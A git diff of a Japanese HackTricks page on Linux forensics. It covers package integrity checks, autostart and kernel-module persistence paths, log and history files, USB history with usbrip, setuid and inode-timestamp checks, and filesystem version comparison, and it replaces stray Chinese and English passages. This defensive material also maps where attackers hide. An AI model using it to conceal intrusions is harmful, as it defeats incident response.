{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -167,12 +167,12 @@ ThisisTheMasterSecret
|
|||
|
||||
Linuxには、潜在的に問題のあるファイルを見つけるために重要なシステムコンポーネントの整合性を確認するためのツールが用意されています。
|
||||
|
||||
- **RedHatベースのシステム**:包括的なチェックには`rpm -Va`を使用します。
|
||||
- **Debianベースのシステム**:最初の検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"`(`apt-get install debsums`を使用して`debsums`をインストールした後)を使用して問題を特定します。
|
||||
* **RedHatベースのシステム**: 総合的なチェックには`rpm -Va`を使用します。
|
||||
* **Debianベースのシステム**: 初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"`(`apt-get install debsums`を使用して`debsums`をインストールした後)を使用して問題を特定します。
|
||||
|
||||
### マルウェア/ルートキット検出ツール
|
||||
|
||||
マルウェアを見つけるのに役立つツールについて学ぶには、次のページを参照してください:
|
||||
マルウェアを見つけるのに役立つツールについて学ぶには、以下のページを参照してください:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
|
@ -180,13 +180,12 @@ Linuxには、潜在的に問題のあるファイルを見つけるために重
|
|||
|
||||
## インストールされたプログラムを検索
|
||||
|
||||
DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログとデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。
|
||||
DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。
|
||||
|
||||
- Debianの場合、パッケージのインストールに関する詳細を取得するには、**_`/var/lib/dpkg/status`_**と**_`/var/log/dpkg.log`_**を調査し、`grep`を使用して特定の情報をフィルタリングします。
|
||||
* Debianの場合、パッケージのインストールに関する詳細を取得するために、_**`/var/lib/dpkg/status`**_と_**`/var/log/dpkg.log`**_を調査し、`grep`を使用して特定の情報をフィルタリングします。
|
||||
* RedHatユーザーは、インストールされたパッケージをリストアップするために`rpm -qa --root=/mntpath/var/lib/rpm`でRPMデータベースをクエリできます。
|
||||
|
||||
- RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してRPMデータベースをクエリし、インストールされたパッケージのリストを取得できます。
|
||||
|
||||
これらのパッケージマネージャーの外で手動でインストールされたソフトウェアや、それらと関連付けられていない実行可能ファイルを特定するには、**_`/usr/local`_**、**_`/opt`_**、**_`/usr/sbin`_**、**_`/usr/bin`_**、**_`/bin`_**、**_`/sbin`_**などのディレクトリを調査します。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、すべてのインストールされたプログラムを検索を強化します。
|
||||
これらのパッケージマネージャーの外で手動でインストールされたソフトウェアや、それらとは関連のない実行可能ファイルを特定するには、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、_**`/sbin`**_などのディレクトリを調査します。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、すべてのインストールされたプログラムを検索を強化します。
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -202,7 +201,7 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -238,65 +237,65 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
|
||||
マルウェアがインストールされる可能性のあるサービスのパス:
|
||||
|
||||
- **/etc/inittab**: rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。
|
||||
- **/etc/rc.d/** および **/etc/rc.boot/**: サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。
|
||||
- **/etc/init.d/**: Debianなどの特定のLinuxバージョンで起動スクリプトを保存するために使用されます。
|
||||
- **/etc/inittab**:rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。
|
||||
- **/etc/rc.d/** および **/etc/rc.boot/**:サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。
|
||||
- **/etc/init.d/**:Debianなどの特定のLinuxバージョンで起動スクリプトを保存するために使用されます。
|
||||
- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** を介してもアクティブ化される可能性があります。
|
||||
- **/etc/systemd/system**: システムおよびサービスマネージャースクリプト用のディレクトリ。
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。
|
||||
- **/usr/local/etc/rc.d/**: カスタムまたはサードパーティのサービス用。
|
||||
- **~/.config/autostart/**: ユーザー固有の自動起動アプリケーション用であり、ユーザー向けのマルウェアの隠れた場所となる可能性があります。
|
||||
- **/lib/systemd/system/**: インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。
|
||||
- **/etc/systemd/system**:システムおよびサービスマネージャースクリプト用のディレクトリ。
|
||||
- **/etc/systemd/system/multi-user.target.wants/**:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。
|
||||
- **/usr/local/etc/rc.d/**:カスタムまたはサードパーティのサービス用。
|
||||
- **\~/.config/autostart/**:ユーザー固有の自動起動アプリケーション用で、ユーザー向けのマルウェアの隠れた場所となる可能性があります。
|
||||
- **/lib/systemd/system/**:インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。
|
||||
|
||||
### カーネルモジュール
|
||||
|
||||
マルウェアによってルートキットコンポーネントとして頻繁に使用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです:
|
||||
マルウェアによってルートキットコンポーネントとしてよく使用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: 実行中のカーネルバージョン用のモジュールを保持します。
|
||||
- **/etc/modprobe.d**: モジュールのロードを制御する構成ファイルが含まれています。
|
||||
- **/etc/modprobe** および **/etc/modprobe.conf**: グローバルモジュール設定用のファイル。
|
||||
- **/lib/modules/$(uname -r)**:実行中のカーネルバージョン用のモジュールを保持します。
|
||||
- **/etc/modprobe.d**:モジュールのロードを制御する構成ファイルが含まれています。
|
||||
- **/etc/modprobe** および **/etc/modprobe.conf**:グローバルモジュール設定用のファイル。
|
||||
|
||||
### その他の自動起動場所
|
||||
|
||||
Linuxは、ユーザーログイン時に自動的にプログラムを実行するためにさまざまなファイルを使用し、潜在的にマルウェアを隠す可能性があります:
|
||||
Linuxは、ユーザーログイン時にプログラムを自動的に実行するためにさまざまなファイルを使用し、潜在的にマルウェアを隠す可能性があります:
|
||||
|
||||
- **/etc/profile.d/***, **/etc/profile**, および **/etc/bash.bashrc**: すべてのユーザーログイン時に実行されます。
|
||||
- **~/.bashrc**, **~/.bash_profile**, **~/.profile**, および **~/.config/autostart**: ユーザー固有のファイルで、ユーザーのログイン時に実行されます。
|
||||
- **/etc/rc.local**: すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。
|
||||
- **/etc/profile.d/**\*、**/etc/profile**、および **/etc/bash.bashrc**:すべてのユーザーログイン時に実行されます。
|
||||
- **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。
|
||||
- **/etc/rc.local**:すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。
|
||||
|
||||
## ログの調査
|
||||
|
||||
Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります:
|
||||
|
||||
- **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージとアクティビティをキャプチャします。
|
||||
- **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功および失敗したログインを記録します。
|
||||
- **/var/log/syslog**(Debian)または **/var/log/messages**(RedHat):システム全体のメッセージとアクティビティをキャプチャします。
|
||||
- **/var/log/auth.log**(Debian)または **/var/log/secure**(RedHat):認証試行、成功および失敗したログインを記録します。
|
||||
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
|
||||
- **/var/log/boot.log**: システムの起動メッセージが含まれています。
|
||||
- **/var/log/maillog** または **/var/log/mail.log**: メールサーバーのアクティビティを記録し、メール関連のサービスを追跡するのに役立ちます。
|
||||
- **/var/log/kern.log**: エラーや警告を含むカーネルメッセージを保存します。
|
||||
- **/var/log/dmesg**: デバイスドライバーメッセージを保持します。
|
||||
- **/var/log/faillog**: 失敗したログイン試行を記録し、セキュリティ侵害の調査を支援します。
|
||||
- **/var/log/cron**: cronジョブの実行を記録します。
|
||||
- **/var/log/daemon.log**: バックグラウンドサービスのアクティビティを追跡します。
|
||||
- **/var/log/btmp**: 失敗したログイン試行を文書化します。
|
||||
- **/var/log/httpd/**: Apache HTTPDのエラーおよびアクセスログが含まれています。
|
||||
- **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLデータベースのアクティビティを記録します。
|
||||
- **/var/log/xferlog**: FTPファイル転送を記録します。
|
||||
- **/var/log/**: ここで予期しないログを常にチェックしてください。
|
||||
- **/var/log/boot.log**:システムの起動メッセージが含まれています。
|
||||
- **/var/log/maillog** または **/var/log/mail.log**:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。
|
||||
- **/var/log/kern.log**:エラーや警告を含むカーネルメッセージを保存します。
|
||||
- **/var/log/dmesg**:デバイスドライバーメッセージを保持します。
|
||||
- **/var/log/faillog**:失敗したログイン試行を記録し、セキュリティ侵害の調査を支援します。
|
||||
- **/var/log/cron**:cronジョブの実行を記録します。
|
||||
- **/var/log/daemon.log**:バックグラウンドサービスのアクティビティを追跡します。
|
||||
- **/var/log/btmp**:失敗したログイン試行を文書化します。
|
||||
- **/var/log/httpd/**:Apache HTTPDのエラーおよびアクセスログが含まれています。
|
||||
- **/var/log/mysqld.log** または **/var/log/mysql.log**:MySQLデータベースのアクティビティを記録します。
|
||||
- **/var/log/xferlog**:FTPファイル転送を記録します。
|
||||
- **/var/log/**:予期しないログがないか常に確認してください。
|
||||
|
||||
{% hint style="info" %}
|
||||
Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序外のエントリを探すことが重要です。
|
||||
Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の逆転を探すことが重要です。
|
||||
{% endhint %}
|
||||
|
||||
**Linuxは各ユーザーのコマンド履歴を維持**し、以下に保存されます:
|
||||
|
||||
- ~/.bash_history
|
||||
- ~/.zsh_history
|
||||
- ~/.zsh_sessions/*
|
||||
- ~/.python_history
|
||||
- ~/.*_history
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
- \~/.zsh\_sessions/\*
|
||||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
|
||||
さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知または予期しないログインがあるかどうかを確認してください。
|
||||
さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知のまたは予期しないログインがあるかどうかを確認してください。
|
||||
|
||||
追加の特権を付与できるファイルを確認してください:
|
||||
|
||||
|
@ -307,21 +306,21 @@ Linuxシステムのログと監査サブシステムは、侵入やマルウェ
|
|||
|
||||
一部のアプリケーションは独自のログを生成することもあります:
|
||||
|
||||
- **SSH**: _~/.ssh/authorized_keys_ および _~/.ssh/known_hosts_ を調べ、不正なリモート接続を見つけます。
|
||||
- **Gnomeデスクトップ**: Gnomeアプリケーションを介して最近アクセスされたファイルを示す _~/.recently-used.xbel_ を調べます。
|
||||
- **Firefox/Chrome**: _~/.mozilla/firefox_ または _~/.config/google-chrome_ でブラウザの履歴とダウンロードをチェックし、不審な活動を見つけます。
|
||||
- **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細を示す _~/.viminfo_ を確認します。
|
||||
- **Open Office**: 侵害されたファイルを示す可能性のある最近のドキュメントアクセスを確認してください。
|
||||
- **FTP/SFTP**: 許可されていないファイル転送を示す _~/.ftp_history_ または _~/.sftp_history_ のログを確認します。
|
||||
- **MySQL**: 実行されたMySQLクエリを示す _~/.mysql_history_ を調査し、許可されていないデータベースアクティビティを明らかにします。
|
||||
- **Less**: 閲覧されたファイルや実行されたコマンドなどの使用履歴を分析する _~/.lesshst_ を確認します。
|
||||
- **Git**: リポジトリの変更を示す _~/.gitconfig_ およびプロジェクト _.git/logs_ を調べます。
|
||||
- **SSH**:_\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調べて、未承認のリモート接続を確認してください。
|
||||
- **Gnomeデスクトップ**:Gnomeアプリケーションを介して最近アクセスされたファイルを示す _\~/.recently-used.xbel_ を調べてください。
|
||||
- **Firefox/Chrome**:_\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認し、不審な活動を見つけてください。
|
||||
- **VIM**:アクセスされたファイルパスや検索履歴などの使用詳細を示す _\~/.viminfo_ を確認してください。
|
||||
- **Open Office**:侵害されたファイルを示す可能性のある最近のドキュメントアクセスを確認してください。
|
||||
- **FTP/SFTP**:_\~/.ftp\_history_ または _\~/.sftp\_history_ のログを調べて、許可されていないファイル転送を見つけてください。
|
||||
- **MySQL**:実行されたMySQLクエリを示す _\~/.mysql\_history_ を調査し、許可されていないデータベースアクティビティを明らかにしてください。
|
||||
- **Less**:表示されたファイルや実行されたコマンドなどの使用履歴を分析する _\~/.lesshst_ を確認してください。
|
||||
- **Git**:リポジトリへの変更を示す _\~/.gitconfig_ およびプロジェクト _.git/logs_ を調べてください。
|
||||
|
||||
### USBログ
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイル (`/var/log/syslog*` または `/var/log/messages*`、ディストリビューションによって異なります) を解析してUSBイベント履歴テーブルを作成するための純粋なPython 3で書かれた小さなソフトウェアです。
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成する、Python 3で書かれた小さなソフトウェアです。
|
||||
|
||||
**使用されたすべてのUSBデバイスを把握する**ことは興味深いことであり、USBの許可リストを持っていると、そのリストに含まれていないUSBの使用を見つけるのに役立ちます。
|
||||
**使用されたすべてのUSBデバイスを把握することは興味深い**ですし、USBの許可リストを持っていると、そのリストに含まれていないUSBの使用を見つけるためにより役立ちます。
|
||||
|
||||
### インストール
|
||||
```bash
|
||||
|
@ -329,34 +328,6 @@ pip3 install usbrip
|
|||
usbrip ids download #Download USB ID database
|
||||
```
|
||||
### 例
|
||||
|
||||
#### Basic Forensic Methodology
|
||||
|
||||
##### Linux Forensics
|
||||
|
||||
1. **Collecting Volatile Data**
|
||||
- **Description:** Collecting volatile data involves capturing information that is stored in temporary storage or memory, such as running processes, open network connections, and system logs.
|
||||
- **Tools:** `ps`, `netstat`, `lsof`, `dmesg`, `last`, `w`
|
||||
|
||||
2. **Collecting Non-Volatile Data**
|
||||
- **Description:** Collecting non-volatile data involves acquiring information that is stored on persistent storage, such as files, directories, and system configurations.
|
||||
- **Tools:** `dd`, `dc3dd`, `dcfldd`, `sleuthkit`, `autopsy`
|
||||
|
||||
3. **Analyzing Data**
|
||||
- **Description:** Analyzing data involves examining the collected information to identify potential evidence, patterns, or anomalies that may be relevant to the investigation.
|
||||
- **Tools:** `grep`, `strings`, `hexdump`, `autopsy`, `volatility`
|
||||
|
||||
4. **Reporting Findings**
|
||||
- **Description:** Reporting findings involves documenting the results of the forensic analysis in a clear and organized manner, including any findings, conclusions, and recommendations.
|
||||
- **Tools:** `sleuthkit`, `autopsy`, `reporting templates`
|
||||
|
||||
5. **Preserving Evidence**
|
||||
- **Description:** Preserving evidence involves ensuring that the integrity of the original data is maintained throughout the forensic process to prevent tampering or alteration.
|
||||
- **Tools:** Write blockers, forensic imaging tools, cryptographic hash functions
|
||||
|
||||
6. **Maintaining Chain of Custody**
|
||||
- **Description:** Maintaining the chain of custody involves documenting the handling of evidence to establish its integrity and admissibility in a legal proceeding.
|
||||
- **Tools:** Evidence bags, seals, logs, documentation forms
|
||||
```bash
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
|
@ -364,83 +335,67 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
更多示例和信息请查看github:[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
## ユーザーアカウントとログオンアクティビティのレビュー
|
||||
|
||||
異常な名前やアカウント、または既知の不正イベントに近接して作成または使用されたアカウントを探すために、_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、sudoの総当たり攻撃をチェックします。\
|
||||
さらに、ユーザーに与えられた予期しない特権を確認するために、_**/etc/sudoers**_や_**/etc/groups**_などのファイルをチェックします。\
|
||||
最後に、**パスワードのないアカウント**や**簡単に推測できる**パスワードを持つアカウントを探します。
|
||||
|
||||
## ファイルシステムの調査
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
### マルウェア調査におけるファイルシステム構造の分析
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和**自动化工作流**,使用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
マルウェア事件を調査する際、ファイルシステムの構造は情報の重要な源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの作者は、ファイルのタイムスタンプの変更やデータ保存のためのファイルシステムの回避など、この分析を妨げる技術を開発しています。
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
これらのアンチフォレンジック手法に対抗するためには、次のことが重要です:
|
||||
|
||||
|
||||
|
||||
## 检查用户帐户和登录活动
|
||||
|
||||
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**,查找是否有异常名称或在已知未经授权事件附近创建或使用的帐户。此外,检查可能的sudo暴力攻击。\
|
||||
此外,检查文件如 _**/etc/sudoers**_ 和 _**/etc/groups**_,查看是否给用户授予了意外的特权。\
|
||||
最后,查找没有密码或**易于猜测**密码的帐户。
|
||||
|
||||
## 检查文件系统
|
||||
|
||||
### 在恶意软件调查中分析文件系统结构
|
||||
|
||||
在调查恶意软件事件时,文件系统的结构是信息的重要来源,可以揭示事件序列和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍这种分析,例如修改文件时间戳或避免使用文件系统进行数据存储。
|
||||
|
||||
为了对抗这些反取证方法,重要的是:
|
||||
|
||||
- 使用像**Autopsy**这样的工具进行**彻底的时间线分析**,用于可视化事件时间线,或者使用**Sleuth Kit**的`mactime`获取详细的时间线数据。
|
||||
- **调查系统的$PATH中的意外脚本**,这些脚本可能包括攻击者使用的shell或PHP脚本。
|
||||
- **检查`/dev`中的非典型文件**,因为它传统上包含特殊文件,但可能包含与恶意软件相关的文件。
|
||||
- **搜索具有名称像".. "(点 点 空格)或"..^G"(点 点 控制-G)的隐藏文件或目录**,这些文件可能隐藏恶意内容。
|
||||
- 使用以下命令**识别setuid root文件**:
|
||||
```find / -user root -perm -04000 -print```
|
||||
这会找到具有提升权限的文件,可能会被攻击者滥用。
|
||||
- **查看inode表中的删除时间戳**,以发现大量文件删除,可能表明存在rootkit或特洛伊木马。
|
||||
- **在识别一个恶意文件后检查相邻的inode**,因为它们可能被放在一起。
|
||||
- **检查常见的二进制目录**(_/bin_、_/sbin_)中最近修改的文件,因为这些文件可能被恶意软件修改。
|
||||
```bash
|
||||
* **Autopsy**などのツールを使用して**イベントタイムラインを視覚化**するか、**Sleuth Kit**の`mactime`を使用して詳細なタイムラインデータを取得することで、徹底的なタイムライン分析を実施します。
|
||||
* 攻撃者が使用する可能性のあるシェルやPHPスクリプトを含む、システムの$PATHにある**予期しないスクリプトを調査**します。
|
||||
* 通常は特殊ファイルを含むはずの**/dev**を**非典型的なファイル**を調べますが、マルウェア関連のファイルが格納されている可能性があります。
|
||||
* ".. "(ドットドットスペース)や"..^G"(ドットドットコントロール-G)などの名前の**隠しファイルやディレクトリ**を検索し、悪意のあるコンテンツを隠す可能性があります。
|
||||
* `find / -user root -perm -04000 -print`コマンドを使用して、**setuid rootファイル**を特定します。これにより、攻撃者に悪用される可能性のある権限の昇格ファイルを見つけることができます。
|
||||
* inodeテーブル内の**削除タイムスタンプ**を確認して、大量のファイル削除を検出し、rootkitやトロイの存在を示す可能性があります。
|
||||
* 1つを特定した後、隣接する悪意のあるファイルを見つけるために**連続したinode**を調査します。
|
||||
* **一般的なバイナリディレクトリ**(_/bin_、_/sbin_)に最近変更されたファイルがないかをチェックします。これらはマルウェアによって変更されている可能性があります。
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
**攻撃者**が**ファイルを正規**に見せるために**時間を変更**できるが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じ時間に作成および変更されたことを示す**ファイル**が見つかった場合、**inode**が予期せず大きい場合、その**ファイルのタイムスタンプが変更された**ことになります。
|
||||
**攻撃者**は**時間を変更**して**ファイルを正規**に見せることができますが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じ**時間に作成および変更**されたことを示す**ファイル**を見つけた場合、**inode**が**予期しないほど大きい**場合、そのファイルの**タイムスタンプが変更された**ことになります。
|
||||
{% endhint %}
|
||||
|
||||
## 異なるファイルシステムバージョンのファイルを比較
|
||||
|
||||
### ファイルシステムバージョンの比較サマリ
|
||||
### ファイルシステムバージョン比較の要約
|
||||
|
||||
ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します:
|
||||
|
||||
- **新しいファイルを見つける**には、2つのディレクトリを比較します:
|
||||
* **新しいファイルを見つける**には、2つのディレクトリを比較します:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **変更されたコンテンツ**について、特定の行を無視して変更点をリストアップします:
|
||||
* **変更されたコンテンツ**について、特定の行を無視して変更点をリストアップします:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
- **削除されたファイルを検出するために**:
|
||||
* **削除されたファイルを検出するために**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更に絞るのに役立ちます。
|
||||
- `A`: 追加されたファイル
|
||||
- `C`: コピーされたファイル
|
||||
- `D`: 削除されたファイル
|
||||
- `M`: 変更されたファイル
|
||||
- `R`: 名前が変更されたファイル
|
||||
- `T`: タイプの変更(例:ファイルからシンボリックリンクへ)
|
||||
- `U`: マージされていないファイル
|
||||
- `X`: 不明なファイル
|
||||
- `B`: 破損したファイル
|
||||
* **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更を絞り込むのに役立ちます。
|
||||
* `A`: 追加されたファイル
|
||||
* `C`: コピーされたファイル
|
||||
* `D`: 削除されたファイル
|
||||
* `M`: 変更されたファイル
|
||||
* `R`: 名前が変更されたファイル
|
||||
* `T`: タイプの変更(例:ファイルからシンボリックリンクへ)
|
||||
* `U`: マージされていないファイル
|
||||
* `X`: 不明なファイル
|
||||
* `B`: 破損したファイル
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -451,19 +406,19 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
**サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
**サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローします。**
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローします 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**ハッキングトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
**ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -2,46 +2,45 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、**ゼロからヒーローまでAWSハッキングを学ぶ**!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
